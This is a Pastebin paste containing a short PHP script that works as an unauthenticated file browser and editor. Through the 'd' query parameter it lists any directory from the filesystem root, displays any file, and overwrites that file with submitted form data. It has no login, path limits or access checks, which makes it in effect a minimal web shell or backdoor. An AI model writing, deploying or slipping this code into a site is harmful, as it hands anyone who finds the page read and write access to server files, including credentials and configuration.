Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $d = isset($_GET['d']) ? $_GET['d'] : getcwd();
- $d = rtrim($d, '/');
- if ($d === '') { $d = '/'; }
- if (is_file($d)) {
- if (isset($_POST['save'])) {
- $ok = file_put_contents($d, $_POST['save']);
- if ($ok === false) {
- echo "<p>write failed</p>";
- } else {
- echo "<p>saved (" . $ok . " bytes)</p>";
- }
- }
- $content = file_get_contents($d);
- echo '<h3>' . htmlspecialchars($d) . '</h3>';
- echo '<form method="post">';
- echo '<textarea name="save" rows="30" cols="120" style="width:100%;font-family:monospace">'
- . htmlspecialchars($content) . '</textarea><br>';
- echo '<button type="submit">Save</button>';
- echo '</form>';
- exit;
- }
- if (!is_dir($d)) {
- echo "<p>not found: " . htmlspecialchars($d) . "</p>";
- exit;
- }
- echo '<h3>' . htmlspecialchars($d) . '</h3>';
- echo '<ul>';
- if ($d !== '/') {
- $parent = dirname($d);
- echo '<li><a href="?d=' . urlencode($parent) . '">..</a></li>';
- }
- $items = scandir($d);
- foreach ($items as $f) {
- if ($f === '.' || $f === '..') { continue; }
- $p = $d . '/' . $f;
- $label = htmlspecialchars($f) . (is_dir($p) ? '/' : '');
- echo '<li><a href="?d=' . urlencode($p) . '">' . $label . '</a></li>';
- }
- echo '</ul>';
Advertisement